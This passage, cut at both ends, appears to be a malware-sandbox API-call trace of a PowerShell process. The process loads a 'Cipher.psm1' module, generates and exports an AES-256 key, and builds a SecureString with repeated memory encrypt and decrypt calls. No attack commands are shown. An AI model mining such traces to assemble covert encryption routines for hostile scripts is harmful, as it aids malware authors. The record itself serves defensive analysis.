lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.295] GetConsoleOutputCP () returned 0x1b5 [0127.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0127.296] GetConsoleOutputCP () returned 0x1b5 [0127.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae294, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae294) returned 0 [0127.296] GetConsoleOutputCP () returned 0x1b5 [0127.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.297] GetConsoleOutputCP () returned 0x1b5 [0127.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.297] GetConsoleOutputCP () returned 0x1b5 [0127.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0127.297] GetConsoleOutputCP () returned 0x1b5 [0127.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae294, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae294) returned 0 [0127.298] GetConsoleOutputCP () returned 0x1b5 [0127.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.298] GetConsoleOutputCP () returned 0x1b5 [0127.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.299] GetConsoleOutputCP () returned 0x1b5 [0127.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0127.299] GetConsoleOutputCP () returned 0x1b5 [0127.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae294, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae294) returned 0 [0127.299] GetConsoleOutputCP () returned 0x1b5 [0127.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.300] GetConsoleOutputCP () returned 0x1b5 [0127.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.300] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae338 | out: lpConsoleScreenBufferInfo=0x99ae338) returned 1 [0127.302] GetConsoleOutputCP () returned 0x1b5 [0127.302] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d4) returned 0 [0127.302] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae340 | out: lpMode=0x99ae340) returned 1 [0127.302] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b3328*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae338, lpReserved=0x0 | out: lpBuffer=0x69b3328*, lpNumberOfCharsWritten=0x99ae338*=0x77) returned 1 [0127.303] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae340 | out: lpMode=0x99ae340) returned 1 [0127.303] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae338, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae338*=0x2) returned 1 [0127.309] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.309] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.309] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\x5d00\x693\x5d08\x693\x5cc0\x693\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x84b4\x64e\x92e4\x68d\x2b54\x672\x84b4\x64e\x9400\x68d\x2eb7\x73ad\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0127.309] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.309] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.309] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.309] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0127.310] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.310] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.310] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.310] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.311] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x42ebdc0) returned 1 [0127.312] CryptGenKey (in: hProv=0x42ebdc0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84d38) returned 1 [0127.312] CryptContextAddRef (hProv=0x42ebdc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.312] CryptExportKey (in: hKey=0x8e84d38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.312] CryptExportKey (in: hKey=0x8e84d38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69bcf08, pdwDataLen=0x99ae788 | out: pbData=0x69bcf08*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.312] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.312] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.312] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.312] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.313] SysStringLen (param_1="") returned 0x8 [0127.313] SysStringLen (param_1="T") returned 0x8 [0127.313] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.313] SysStringLen (param_1="\x15b3\xe7b0\xb2d2\x737d\x634c\x72ee\x3ab0\x9687") returned 0x8 [0127.313] SysStringLen (param_1="\x15b3\xe7b0\xb2d2\x737d\x634c\x72ee\x3ab0\x9687") returned 0x8 [0127.313] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.313] SysStringLen (param_1="Tk") returned 0x8 [0127.313] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.313] SysStringLen (param_1="\x999\xa8d2\x3e36\x5cdb\xf2ef\x7438\x591c\x67b3") returned 0x8 [0127.313] SysStringLen (param_1="\x999\xa8d2\x3e36\x5cdb\xf2ef\x7438\x591c\x67b3") returned 0x8 [0127.313] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.313] SysStringLen (param_1="Tk/") returned 0x8 [0127.313] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.313] SysStringLen (param_1="\xde8a\x56d8\x3b65\x311a\x12ab\x8d93\x6301\x31c4") returned 0x8 [0127.313] SysStringLen (param_1="\xde8a\x56d8\x3b65\x311a\x12ab\x8d93\x6301\x31c4") returned 0x8 [0127.313] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.313] SysStringLen (param_1="Tk/s") returned 0x8 [0127.313] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="ᥑ䄬ජ㝗츙䀓吱έ") returned 0x8 [0127.314] SysStringLen (param_1="ᥑ䄬ජ㝗츙䀓吱έ") returned 0x8 [0127.314] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="Tk/sD") returned 0x8 [0127.314] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="\x139e\x7a72\xd73\xdc0d\xf982\x4381\x2d90\x336f") returned 0x8 [0127.314] SysStringLen (param_1="\x139e\x7a72\xd73\xdc0d\xf982\x4381\x2d90\x336f") returned 0x8 [0127.314] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="Tk/sDP") returned 0x8 [0127.314] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="\xf05\xdcac\xfad5\xbca1\xc6c1\xd563\x86c4\xbb0b") returned 0x8 [0127.314] SysStringLen (param_1="\xf05\xdcac\xfad5\xbca1\xc6c1\xd563\x86c4\xbb0b") returned 0x8 [0127.314] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="Tk/sDPT") returned 0x8 [0127.314] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.314] SysStringLen (param_1="\x1803\x3088\x538b\xcaa6\xa876\xe803\x280e\x375c") returned 0x8 [0127.314] SysStringLen (param_1="\x1803\x3088\x538b\xcaa6\xa876\xe803\x280e\x375c") returned 0x8 [0127.314] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.315] SysStringLen (param_1="Tk/sDPTI") returned 0x8 [0127.315] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09") returned 0x8 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09") returned 0x8 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09") returned 0x8 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09") returned 0x10 [0127.315] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.315] SysStringLen (param_1="Tk/sDPTID삮陟욵㚳伋泚") returned 0x10 [0127.315] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x48be\x2d7c\xb05b\x64b1\x1709\x10c2\x5311\x8803") returned 0x10 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x48be\x2d7c\xb05b\x64b1\x1709\x10c2\x5311\x8803") returned 0x10 [0127.315] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.315] SysStringLen (param_1="Tk/sDPTIDO陟욵㚳伋泚") returned 0x10 [0127.315] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x1a0\xc7c8\x89f3\x2e50\x6cda\x1eab\x5cfb\xa5d5") returned 0x10 [0127.315] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x1a0\xc7c8\x89f3\x2e50\x6cda\x1eab\x5cfb\xa5d5") returned 0x10 [0127.315] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.316] SysStringLen (param_1="Tk/sDPTIDOr욵㚳伋泚") returned 0x10 [0127.316] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.316] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x3979\x7e79\x79dc\x6bcd\x1907\x2d2a\x1757\x9410") returned 0x10 [0127.316] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x3979\x7e79\x79dc\x6bcd\x1907\x2d2a\x1757\x9410") returned 0x10 [0127.316] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.316] SysStringLen (param_1="Tk/sDPTIDOrj㚳伋泚") returned 0x10 [0127.316] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.317] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x493c\x2a60\x6cf4\x573d\x8db6\x219c\xc7c3\xf678") returned 0x10 [0127.317] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x493c\x2a60\x6cf4\x573d\x8db6\x219c\xc7c3\xf678") returned 0x10 [0127.317] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.317] SysStringLen (param_1="Tk/sDPTIDOrjP㚳伋泚") returned 0x10 [0127.317] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.317] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x8046\xa543\x1676\x26be\xfdec\xc9ca\x3ed9\xd0d0") returned 0x10 [0127.317] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x8046\xa543\x1676\x26be\xfdec\xc9ca\x3ed9\xd0d0") returned 0x10 [0127.317] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.317] SysStringLen (param_1="Tk/sDPTIDOrjPO伋泚") returned 0x10 [0127.317] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.317] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x3366\x9078\x17d7\x8923\xf23a\x2363\x9482\x5bbe") returned 0x10 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x3366\x9078\x17d7\x8923\xf23a\x2363\x9482\x5bbe") returned 0x10 [0127.318] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.318] SysStringLen (param_1="Tk/sDPTIDOrjPO0泚") returned 0x10 [0127.318] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x8509\xb468\x1a90\x476c\x3268\x459f\x468b\x85a7") returned 0x10 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x8509\xb468\x1a90\x476c\x3268\x459f\x468b\x85a7") returned 0x10 [0127.318] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.318] SysStringLen (param_1="Tk/sDPTIDOrjPO0D") returned 0x10 [0127.318] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a") returned 0x10 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a") returned 0x10 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a") returned 0x10 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a") returned 0x18 [0127.318] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.318] SysStringLen (param_1="Tk/sDPTIDOrjPO0D0ਡ摁葦⏛硡梙") returned 0x18 [0127.318] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x3a9d\x46e9\xad58\x2f1c\x8464\xc5f4\x65a9\x4165") returned 0x18 [0127.318] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x3a9d\x46e9\xad58\x2f1c\x8464\xc5f4\x65a9\x4165") returned 0x18 [0127.318] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02摁葦⏛硡梙") returned 0x18 [0127.319] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x659\x7d34\x1198\x13ca\xf6f4\x2445\xcdba\x9789") returned 0x18 [0127.319] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x659\x7d34\x1198\x13ca\xf6f4\x2445\xcdba\x9789") returned 0x18 [0127.319] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02u葦⏛硡梙") returned 0x18 [0127.319] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x4cf5\xf695\xf8f\x9d6d\x5336\xdd4e\x7a84\x6d30") returned 0x18 [0127.319] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x4cf5\xf695\xf8f\x9d6d\x5336\xdd4e\x7a84\x6d30") returned 0x18 [0127.319] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uN⏛硡梙") returned 0x18 [0127.319] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\xfd3\x7f16\xb177\x12ca\xe27d\x267a\x85da\x4d58") returned 0x18 [0127.319] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\xfd3\x7f16\xb177\x12ca\xe27d\x267a\x85da\x4d58") returned 0x18 [0127.319] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.319] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNd硡梙") returned 0x18 [0127.319] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x6832\x3c03\x6c9f\xf07e\xadfe\xb60d\x78e3\xef79") returned 0x18 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x6832\x3c03\x6c9f\xf07e\xadfe\xb60d\x78e3\xef79") returned 0x18 [0127.320] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdg硡梙") returned 0x18 [0127.320] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\xfbb2\x34bd\xafea\xa47d\x80f\xb1ed\x44a\x5177") returned 0x18 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\xfbb2\x34bd\xafea\xa47d\x80f\xb1ed\x44a\x5177") returned 0x18 [0127.320] SystemFunction041 (in: 